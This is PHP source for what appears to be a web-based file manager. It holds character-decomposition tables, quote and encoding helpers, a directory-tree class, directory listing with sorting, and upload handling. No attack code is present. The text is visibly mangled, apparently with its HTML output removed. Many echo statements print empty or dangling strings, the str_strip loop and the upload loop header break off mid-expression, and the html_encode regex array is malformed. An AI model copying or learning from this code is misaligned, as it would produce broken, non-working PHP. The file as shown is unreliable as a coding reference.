chr(195).chr(159) => 's', chr(195).chr(160) => 'a',
chr(195).chr(161) => 'a', chr(195).chr(162) => 'a',
chr(195).chr(163) => 'a', chr(195).chr(164) => 'a',
chr(195).chr(165) => 'a', chr(195).chr(167) => 'c',
chr(195).chr(168) => 'e', chr(195).chr(169) => 'e',
chr(195).chr(170) => 'e', chr(195).chr(171) => 'e',
chr(195).chr(172) => 'i', chr(195).chr(173) => 'i',
chr(195).chr(174) => 'i', chr(195).chr(175) => 'i',
chr(195).chr(177) => 'n', chr(195).chr(178) => 'o',
chr(195).chr(179) => 'o', chr(195).chr(180) => 'o',
chr(195).chr(181) => 'o', chr(195).chr(182) => 'o',
chr(195).chr(182) => 'o', chr(195).chr(185) => 'u',
chr(195).chr(186) => 'u', chr(195).chr(187) => 'u',
chr(195).chr(188) => 'u', chr(195).chr(189) => 'y',
chr(195).chr(191) => 'y',
// Decompositions for Latin Extended-A
chr(196).chr(128) => 'A', chr(196).chr(129) => 'a',
chr(196).chr(130) => 'A', chr(196).chr(131) => 'a',
chr(196).chr(132) => 'A', chr(196).chr(133) => 'a',
chr(196).chr(134) => 'C', chr(196).chr(135) => 'c',
chr(196).chr(136) => 'C', chr(196).chr(137) => 'c',
chr(196).chr(138) => 'C', chr(196).chr(139) => 'c',
chr(196).chr(140) => 'C', chr(196).chr(141) => 'c',
chr(196).chr(142) => 'D', chr(196).chr(143) => 'd',
chr(196).chr(144) => 'D', chr(196).chr(145) => 'd',
chr(196).chr(146) => 'E', chr(196).chr(147) => 'e',
chr(196).chr(148) => 'E', chr(196).chr(149) => 'e',
chr(196).chr(150) => 'E', chr(196).chr(151) => 'e',
chr(196).chr(152) => 'E', chr(196).chr(153) => 'e',
chr(196).chr(154) => 'E', chr(196).chr(155) => 'e',
chr(196).chr(156) => 'G', chr(196).chr(157) => 'g',
chr(196).chr(158) => 'G', chr(196).chr(159) => 'g',
chr(196).chr(160) => 'G', chr(196).chr(161) => 'g',
chr(196).chr(162) => 'G', chr(196).chr(163) => 'g',
chr(196).chr(164) => 'H', chr(196).chr(165) => 'h',
chr(196).chr(166) => 'H', chr(196).chr(167) => 'h',
chr(196).chr(168) => 'I', chr(196).chr(169) => 'i',
chr(196).chr(170) => 'I', chr(196).chr(171) => 'i',
chr(196).chr(172) => 'I', chr(196).chr(173) => 'i',
chr(196).chr(174) => 'I', chr(196).chr(175) => 'i',
chr(196).chr(176) => 'I', chr(196).chr(177) => 'i',
chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij',
chr(196).chr(180) => 'J', chr(196).chr(181) => 'j',
chr(196).chr(182) => 'K', chr(196).chr(183) => 'k',
chr(196).chr(184) => 'k', chr(196).chr(185) => 'L',
chr(196).chr(186) => 'l', chr(196).chr(187) => 'L',
chr(196).chr(188) => 'l', chr(196).chr(189) => 'L',
chr(196).chr(190) => 'l', chr(196).chr(191) => 'L',
chr(197).chr(128) => 'l', chr(197).chr(129) => 'L',
chr(197).chr(130) => 'l', chr(197).chr(131) => 'N',
chr(197).chr(132) => 'n', chr(197).chr(133) => 'N',
chr(197).chr(134) => 'n', chr(197).chr(135) => 'N',
chr(197).chr(136) => 'n', chr(197).chr(137) => 'N',
chr(197).chr(138) => 'n', chr(197).chr(139) => 'N',
chr(197).chr(140) => 'O', chr(197).chr(141) => 'o',
chr(197).chr(142) => 'O', chr(197).chr(143) => 'o',
chr(197).chr(144) => 'O', chr(197).chr(145) => 'o',
chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe',
chr(197).chr(148) => 'R',chr(197).chr(149) => 'r',
chr(197).chr(150) => 'R',chr(197).chr(151) => 'r',
chr(197).chr(152) => 'R',chr(197).chr(153) => 'r',
chr(197).chr(154) => 'S',chr(197).chr(155) => 's',
chr(197).chr(156) => 'S',chr(197).chr(157) => 's',
chr(197).chr(158) => 'S',chr(197).chr(159) => 's',
chr(197).chr(160) => 'S', chr(197).chr(161) => 's',
chr(197).chr(162) => 'T', chr(197).chr(163) => 't',
chr(197).chr(164) => 'T', chr(197).chr(165) => 't',
chr(197).chr(166) => 'T', chr(197).chr(167) => 't',
chr(197).chr(168) => 'U', chr(197).chr(169) => 'u',
chr(197).chr(170) => 'U', chr(197).chr(171) => 'u',
chr(197).chr(172) => 'U', chr(197).chr(173) => 'u',
chr(197).chr(174) => 'U', chr(197).chr(175) => 'u',
chr(197).chr(176) => 'U', chr(197).chr(177) => 'u',
chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',
chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',
chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',
chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',
chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',
chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
chr(197).chr(190) => 'z', chr(197).chr(191) => 's'
);
$string = strtr($string, $chars);
return $string;
}
function retifica_aspas($str){
//return $str;
$quotes = array(
"\xC2\xAB" => '"', // « (U+00AB) in UTF-8
"\xC2\xBB" => '"', // » (U+00BB) in UTF-8
"\xE2\x80\x98" => "'", // ‘ (U+2018) in UTF-8
"\xE2\x80\x99" => "'", // ’ (U+2019) in UTF-8
"\xE2\x80\x9A" => "'", // ‚ (U+201A) in UTF-8
"\xE2\x80\x9B" => "'", // ‛ (U+201B) in UTF-8
"\xE2\x80\x9C" => '"', // “ (U+201C) in UTF-8
"\xE2\x80\x9D" => '"', // ” (U+201D) in UTF-8
"\xE2\x80\x9E" => '"', // „ (U+201E) in UTF-8
"\xE2\x80\x9F" => '"', // ‟ (U+201F) in UTF-8
"\xE2\x80\xB9" => "'", // ‹ (U+2039) in UTF-8
"\xE2\x80\xBA" => "'", // › (U+203A) in UTF-8
);
return strtr($str, $quotes);
// replace Microsoft Word version of single and double quotations marks (“ ” ‘ ’) with regular quotes (' and ")
//return iconv('UTF-8', 'ASCII//TRANSLIT', $str);
}
function html_encode($str){
global $charset;
$str = preg_replace(array('/&/', '/', '/>/', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!!
if (version_compare(PHP_VERSION, '5.2.3', '>=')) {
$str = htmlentities($str, ENT_QUOTES, $charset, false);
} else {
$str = htmlentities($str, ENT_QUOTES, $charset);
}
return $str;
}
function rep($x,$y){
if ($x) {
$aux = "";
for ($a=1;$a<=$x;$a++) $aux .= $y;
return $aux;
} else return "";
}
function str_zero($arg1,$arg2){
if (strstr($arg1,"-") == false){
$aux = intval($arg2) - strlen($arg1);
if ($aux) return rep($aux,"0").$arg1;
else return $arg1;
} else {
return "[$arg1]";
}
}
function replace_double($sub,$str){
$out=str_replace($sub.$sub,$sub,$str);
while ( strlen($out) != strlen($str) ){
$str=$out;
$out=str_replace($sub.$sub,$sub,$str);
}
return $out;
}
function remove_special_chars($str){
$str = trim($str);
$str = strtr($str,array("¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________"));
$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
return $str;
}
function array_csort() {
$args = func_get_args();
$marray = array_shift($args);
$msortline = "return(array_multisort(";
foreach ($args as $arg) {
$i++;
if (is_string($arg)) {
foreach ($marray as $row) {
$sortarr[$i][] = $row[$arg];
}
} else {
$sortarr[$i] = $arg;
}
$msortline .= "\$sortarr[".$i."],";
}
$msortline .= "\$marray));";
eval($msortline);
return $marray;
}
function show_perms($P) {
$sP = "";
if($P & 0x1000) $sP .= 'p'; // FIFO pipe
elseif($P & 0x2000) $sP .= 'c'; // Character special
elseif($P & 0x4000) $sP .= 'd'; // Directory
elseif($P & 0x6000) $sP .= 'b'; // Block special
elseif($P & 0x8000) $sP .= '−'; // Regular
elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link
elseif($P & 0xC000) $sP .= 's'; // Socket
else $sP .= 'u'; // UNKNOWN
$sP .= "";
// owner - group - others
$sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−'));
$sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−'));
$sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−'));
return $sP;
}
function format_size($arg) {
if ($arg>0){
$j = 0;
$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
while ($arg >= pow(1024,$j)) ++$j;
return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
} else return "0 bytes";
}
function check_limit($new_filesize=0) {
global $fm_current_root;
global $quota_mb;
if($quota_mb){
$total = intval(phpfm_get_total_size($fm_current_root));
if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
}
return false;
}
function uppercase($str){
global $charset;
return mb_strtoupper($str, $charset);
}
function lowercase($str){
global $charset;
return mb_strtolower($str, $charset);
}
function word_count($theString) {
$theString = html_decode(strip_tags($theString));
$char_count = mb_strlen($theString);
$fullStr = $theString." ";
$initial_whitespace_rExp = "^[[:alnum:]]$";
$left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
$non_alphanumerics_rExp = "^[[:alnum:]]$";
$cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
$splitString = explode(" ",$cleanedStr);
$word_count = count($splitString)-1;
if(mb_strlen($fullStr)<2)$word_count=0;
return $word_count;
}
function str_strip($str,$valid_chars){
$out = "";
for ($i=0;$i
".et('FileMan')."
".$header."
";
}
function reloadframe($ref,$frame_number,$plus=""){
global $fm_current_dir,$fm_path_info;
echo "
";
}
function alert($arg){
echo "
";
}
function get_encoding($text){
define('UTF32_BIG_ENDIAN_BOM' , chr(0x00).chr(0x00).chr(0xFE).chr(0xFF));
define('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE).chr(0x00).chr(0x00));
define('UTF16_BIG_ENDIAN_BOM' , chr(0xFE).chr(0xFF));
define('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF).chr(0xFE));
define('UTF8_BOM' , chr(0xEF).chr(0xBB).chr(0xBF));
$first2 = mb_substr($text, 0, 2);
$first3 = mb_substr($text, 0, 3);
$first4 = mb_substr($text, 0, 4);
if ($first3 == UTF8_BOM) return 'UTF-8'; // WITH BOM
elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
elseif (mb_detect_encoding($text, 'UTF-8', true) == true) return 'UTF-8'; // WITHOUT BOM
elseif (mb_detect_encoding($text, 'ISO-8859-1', true) == true) return 'ISO-8859-1';
else return mb_detect_encoding($text);
}
function utf8_convert($str){
if (extension_loaded('mbstring') && extension_loaded('iconv')) {
$str_chatset = get_encoding($str);
if ($str_chatset == "UTF-8") return $str;
return iconv($str_chatset, "UTF-8//TRANSLIT", $str);
} else return utf8_encode($str);
}
function convert_charset($str,$charset){
$str_chatset = get_encoding($str);
if ($str_chatset == $charset) return $str;
else return iconv($str_chatset, $charset."//TRANSLIT", $str);
}
function fs_encode($str){
global $is_windows;
if ($is_windows) {
if (extension_loaded('mbstring') && extension_loaded('iconv')) {
$str = convert_charset($str,'ISO-8859-1');
}
}
return $str;
}
class tree_fs {
protected $base = null;
public function __construct($base) {
$this->base = $this->real($base);
if(!$this->base) { fb_log('Base directory does not exist'); }
}
protected function real($path) {
if (is_link($path)) $temp = get_absolute_path(fs_encode($path));
else $temp = realpath(fs_encode($path));
if(!$temp) { fb_log('Path does not exist: ' . $path); }
if($this->base && strlen($this->base)) {
if(strpos($temp, $this->base) !== 0) { fb_log('Path is not inside base ('.$this->base.'): ' . $temp); }
}
return $temp;
}
protected function path($id) {
global $is_windows;
$path = str_replace('/', DIRECTORY_SEPARATOR, $id);
$path = $this->real($this->base.DIRECTORY_SEPARATOR.$path);
$path = rtrim($path, DIRECTORY_SEPARATOR);
if (!$is_windows) {
$path = DIRECTORY_SEPARATOR.$path;
}
$path = replace_double(DIRECTORY_SEPARATOR,$path);
//fb_log('path()',$id.' => '.$path);
return $path;
}
protected function id($path) {
global $is_windows;
$id = $this->real($path);
$id = substr($id, strlen($this->base));
$id = str_replace(DIRECTORY_SEPARATOR, '/', $id);
$id = '/'.rtrim($id, '/');
$id = replace_double('/',$id);
//fb_log('id()',$path.' => '.$id);
return $id;
}
public function lst($id, $with_root=false) {
$path = $this->path($id);
$lst = scandir(fs_encode($path));
if(!$lst) { fb_log('Could not list path: '.$path); }
$res = array();
foreach($lst as $item) {
if ($item == '.' || $item == '..' || $item === null) { continue; }
$item_path = rtrim($path,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$item;
if (is_dir($item_path)) {
if (is_link($item_path)) $item .= ' (L)';
$res[] = array('text' => utf8_convert($item), 'children' => true, 'id' => utf8_convert($this->id($item_path)), 'icon' => 'folder');
} elseif (is_link($item_path) && !is_file($item_path)) {
// Add Invisible char to change color to RED using Jquery https://stackoverflow.com/questions/17978720/invisible-characters-ascii
// TODO: Find a better way to show RED broken folder links, using jsTree API
if (is_link($item_path)) $item .= ' (L*)';
$res[] = array('text' => utf8_convert($item), 'children' => true, 'id' => utf8_convert($this->id($item_path)), 'icon' => 'folder');
}
}
if($with_root && $this->id($path) == '/') {
$res = array(array('text' => utf8_convert($this->base), 'children' => $res, 'id' => '/', 'icon'=>'folder', 'state' => array('opened' => true, 'disabled' => false)));
}
return $res;
}
public function data($id) {
if(strpos($id, ":")) {
$id = array_map(array($this, 'id'), explode(':', $id));
return array('type'=>'multiple', 'content'=> 'Multiple selected: ' . implode(' ', $id));
}
$path = $this->path($id);
if(is_dir($path)) {
return array('type'=>'folder', 'content'=> $id);
}
fb_log('Not a valid selection: '.$path);
}
}
function frame2(){
global $fm_root,$fm_current_root,$fm_path_info,$setflag,$is_windows,$cookie_cache_time,$fm_current_dir,$auth_pass,$open_basedirs;
if(isset($_GET['operation'])) {
$tree_fs = new tree_fs($fm_current_root);
try {
$resul = null;
switch($_GET['operation']) {
case 'get_node':
$node = (strlen($_GET['id']) && $_GET['id'] !== '#') ? $_GET['id'] : '/';
$with_root = true;
$resul = $tree_fs->lst($node, $with_root);
break;
default:
fb_log('Unsupported operation: '.$_GET['operation']);
break;
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($resul);
}
catch (Exception $e) {
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Server Error');
header('Status: 500 Server Error');
echo $e->getMessage();
}
die();
}
html_header("
");
echo "
";
echo "\n";
echo "| ";
echo "";
echo " |
";
echo "| ";
?>
|
";
echo "
\n";
echo "\n";
}
function is_binary($file){
//https://stackoverflow.com/questions/1765311/how-to-view-files-in-binary-from-bash
//http://php.net/manual/pt_BR/function.bin2hex.php
if (!is_file($file)) return false;
$mime = mime_content_type($file);
fb_log($file,$mime);
if (strpos($mime,'text') === false && strpos($mime,'x-empty') === false) return true;
return false;
}
function is_textfile($file){
if (!is_file($file)) return false;
$mime = mime_content_type($file);
fb_log($file,$mime);
if (strpos($mime,'text') === 0 || strpos($mime,'x-empty') !== false) return true;
return false;
}
function dir_list_form() {
global $script_init_time,$fm_current_root,$fm_current_dir,$quota_mb,$resolve_ids,$order_dir_list_by,$is_windows,$cmd_name,$ip,$lan_ip,$fm_path_info,$version,$date_format;
clearstatcache();
$out = "
";
$io_error = true;
if ($opdir = @opendir(fs_encode($fm_current_dir))) {
$io_error = false;
$has_files = false;
$entry_count = 0;
$total_size = 0;
$entry_list = array();
while (($entry = readdir($opdir)) !== false) {
if ($entry == "." || $entry == "..") continue;
$entry_list[$entry_count]['name'] = $entry;
$entry_list[$entry_count]['namet'] = $entry;
$entry_list[$entry_count]['size'] = 0;
$entry_list[$entry_count]['sizet'] = 0;
$entry_list[$entry_count]['type'] = "none";
$entry_list[$entry_count]['date'] = date("Ymd", filemtime($fm_current_dir.$entry));
$entry_list[$entry_count]['time'] = date("His", filemtime($fm_current_dir.$entry));
$entry_list[$entry_count]['datet'] = date($date_format, filemtime($fm_current_dir.$entry));
$entry_list[$entry_count]['p'] = substr(sprintf('%o', fileperms($fm_current_dir.$entry)), -4);
$entry_list[$entry_count]['u'] = fileowner($fm_current_dir.$entry);
$entry_list[$entry_count]['g'] = filegroup($fm_current_dir.$entry);
if ($resolve_ids){
$entry_list[$entry_count]['p'] = show_perms(fileperms($fm_current_dir.$entry));
if (!$is_windows){
$entry_list[$entry_count]['u'] = get_user_name(fileowner($fm_current_dir.$entry));
$entry_list[$entry_count]['g'] = get_group_name(filegroup($fm_current_dir.$entry));
}
}
if (is_link($fm_current_dir.$entry)){
$entry_list[$entry_count]['type'] = "link";
$entry_list[$entry_count]['target'] = readlink($fm_current_dir.$entry);
$entry_list[$entry_count]['target_absolute_path'] = readlink_absolute_path($fm_current_dir.$entry);
if (is_dir($entry_list[$entry_count]['target_absolute_path'])) {
$entry_list[$entry_count]['type'] = "dir";
$dirsize = phpfm_get_total_size($fm_current_dir.$entry);
$entry_list[$entry_count]['size'] = intval($dirsize);
if ($dirsize === false) {
$sizet = et('GetSize').'..';
} elseif ($dirsize === 'error'){
$sizet = ''.et('Error').' ↻';
} else {
$sizet = format_size($entry_list[$entry_count]['size']).' ↻';
}
$entry_list[$entry_count]['sizet'] = "".$sizet."";
} elseif (is_file($entry_list[$entry_count]['target_absolute_path'])) {
$entry_list[$entry_count]['type'] = "file";
$entry_list[$entry_count]['size'] = phpfm_filesize($fm_current_dir.$entry);
$entry_list[$entry_count]['sizet'] = format_size($entry_list[$entry_count]['size']);
$has_files = true;
} else {
$entry_list[$entry_count]['type'] = "broken_link";
$entry_list[$entry_count]['date'] = '';
$entry_list[$entry_count]['time'] = '';
$entry_list[$entry_count]['datet'] = '';
$entry_list[$entry_count]['size'] = 0;
$entry_list[$entry_count]['sizet'] = '';
$entry_list[$entry_count]['p'] = '';
}
$entry_list[$entry_count]['linkt'] = '(L)';
$ext = lowercase(strrchr($entry,"."));
if (strstr($ext,".")){
$entry_list[$entry_count]['ext'] = $ext;
$entry_list[$entry_count]['extt'] = $ext;
} else {
$entry_list[$entry_count]['ext'] = "";
$entry_list[$entry_count]['extt'] = " ";
}
} elseif (is_file($fm_current_dir.$entry)){
$ext = lowercase(strrchr($entry,"."));
$entry_list[$entry_count]['type'] = "file";
$entry_list[$entry_count]['size'] = phpfm_filesize($fm_current_dir.$entry);
$entry_list[$entry_count]['sizet'] = format_size($entry_list[$entry_count]['size']);
if (strstr($ext,".")){
$entry_list[$entry_count]['ext'] = $ext;
$entry_list[$entry_count]['extt'] = $ext;
} else {
$entry_list[$entry_count]['ext'] = "";
$entry_list[$entry_count]['extt'] = " ";
}
$has_files = true;
} elseif (is_dir($fm_current_dir.$entry)) {
$entry_list[$entry_count]['type'] = "dir";
$dirsize = phpfm_get_total_size($fm_current_dir.$entry);
$entry_list[$entry_count]['size'] = intval($dirsize);
if ($dirsize === false){
$sizet = et('GetSize').'..';
} elseif ($dirsize === 'error') {
$sizet = ''.et('Error').' ↻';
} else {
$sizet = format_size($entry_list[$entry_count]['size']).' ↻';
}
$entry_list[$entry_count]['sizet'] = "".$sizet."";
}
$total_size += $entry_list[$entry_count]['size'];
$entry_count++;
}
@closedir($opdir);
}
if($entry_count){
$or1="1A";
$or2="2D";
$or3="3A";
$or4="4A";
$or5="5A";
$or6="6D";
$or7="7D";
switch($order_dir_list_by){
case "1A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
case "1D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
case "2A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
case "2D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
case "3A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
case "3D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
case "4A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
case "4D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
case "5A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
case "5D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
case "6A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
case "6D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
case "7A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
case "7D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
}
}
$out .= "
";
$out .= "
|
|
";
$out .= "
";
} else {
$out .= "
| ".et('EmptyDir').". |
";
}
} else {
$out .= "
".et('IOError').". ".rtrim($fm_current_dir,DIRECTORY_SEPARATOR)." |
";
}
$out .= "
";
if ($quota_mb) {
$out .= "
".et('Partition')." = ".format_size(($quota_mb*1024*1024))." - ".format_size(($quota_mb*1024*1024)-intval(phpfm_get_total_size($fm_current_root)))." ".et('Free')."";
} else {
$out .= "
".et('Partition')." = ".format_size(disk_total_space($fm_current_dir))." / ".format_size(disk_free_space($fm_current_dir))." ".et('Free')."";
}
/*
$out .= "
".et('RenderTime').": ".number_format((getmicrotime()-$script_init_time), 3, '.', '')." ".et('Seconds')."";
*/
$out .= "
".date_default_timezone_get()."
".date($date_format)."
|
";
$out .= "
";
echo $out;
}
function upload_form(){
global $_FILES,$fm_current_dir,$dir_dest,$quota_mb,$fm_path_info;
html_header();
echo "";
if (count($_FILES)==0){
echo "
";
} else {
$out = "| ".et('Destination').": ".$fm_current_dir." |
";
$files = array();
if (is_array($_FILES['upfiles'])){
// Check and re-arrange multi-upload array()
if (is_array($_FILES['upfiles']['name'])){
for($i=0;$i $_FILES['upfiles']['name'][$i],
'tmp_name' => $_FILES['upfiles']['tmp_name'][$i],
'size' => $_FILES['upfiles']['size'][$i],
'type' => $_FILES['upfiles']['type'][$i],
'error' => $_FILES['upfiles']['error'][$i]
);
}
} else {
foreach ($_FILES['upfiles'] as $file){
if ($file['error'] === 0) $files[] = $file;
}
}
}
$i=1;
foreach ($files as $file) {
$filename = $file['name'];
$temp_file = $file['tmp_name'];
if (strlen($filename)) {
$resul = save_upload($temp_file,$filename,$dir_dest);
switch($resul){
case 1:
$out .= "| ".$i." - ".et('FileSent').": | ".$filename." |
\n";
break;
case 2:
$out .= "| ".$i." - ".et('IOError').": | ".$filename." |
\n";
break;
case 3:
$out .= "| ".$i." - ".et('SpaceLimReached')." ($quota_mb Mb): | ".$filename." |
\n";
break;
case 4:
$out .= "| ".$i." - ".et('InvExt').": | ".$filename." |
\n";
break;
case 5:
$out .= "| ".$i." - ".et('FileNoOverw').": | ".$filename." |
\n";
break;
case 6:
$out .= "| ".$i." - ".et('FileOverw').": | ".$filename." |
\n";
break;
default:
$out .= "| ".$i." - ".et('FileIgnored').": | ".$filename." |
\n";
}
$i++;
}
}
$out .= "| ".et('UploadEnd')." |
";
echo "";
}
echo "\n